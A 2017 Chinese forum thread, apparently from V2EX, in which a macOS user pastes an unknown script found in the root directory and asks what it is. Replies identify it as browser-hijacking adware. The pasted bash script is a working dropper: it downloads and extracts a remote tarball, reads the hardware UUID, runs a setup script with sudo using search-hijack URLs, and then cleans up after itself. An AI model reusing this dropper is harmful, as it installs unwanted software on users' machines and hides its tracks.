macOS Sierra 10.12.6 根目录下出现了一个 file 文件，无后缀，请各位大佬知道是啥
linlich · 2017-08-24 18:21:39 +08:00 · 3314 次点击这是一个创建于 2430 天前的主题，其中的信息可能已经有所发展或是发生改变。
#!/bin/bash
func_4(){
/bin/mkdir -p /var/tmp
/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.setmacinstallmedia.download/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs
mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')
COUNTRY="CN"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
|| [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
|| [ "$COUNTRY" == "DE" ]; then
sudo ./setup.sh "http://www.searchitdown.com/?n=006&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=006&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=006&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="
else
sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_5a01fc&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_5a01fc&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_5a01fc" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi
CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
/usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi
func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &
}
func_4 &
 |
1
linlich OP 请各位大佬指导。。
|
 |
2
MartinWu 2017-08-24 18:32:31 +08:00
看起来像是往你电脑装些什么东西，。 但是`http://c.setmacinstallmedia.download/static/sr/sr_v2.tgz`已经失效了，所以也不知道里面装的是什么东东。
|
 |
3
hxsf 2017-08-24 18:47:42 +08:00 via iPhone
病毒啊 给你换默认搜索啥的 看后面几个链接 随便搜一下就知道了
|
 |
4
SourceMan 2017-08-24 18:58:49 +08:00 via iPhone
是不是装破解软件送的病毒？
|
 |
7
n6DD1A640 2017-08-24 19:24:27 +08:00
搜了一下关键词 snowbitt，似乎是个挟持浏览器的病毒
https://encrypted.google.com/search?hl=zh-CN&q=snowbitt https://discussions.apple.com/thread/7871232?start=0&tstart=0 恭喜 |
 |
8
jy01264313 2017-08-24 22:02:32 +08:00
这么明显的病毒啊
|
Select Language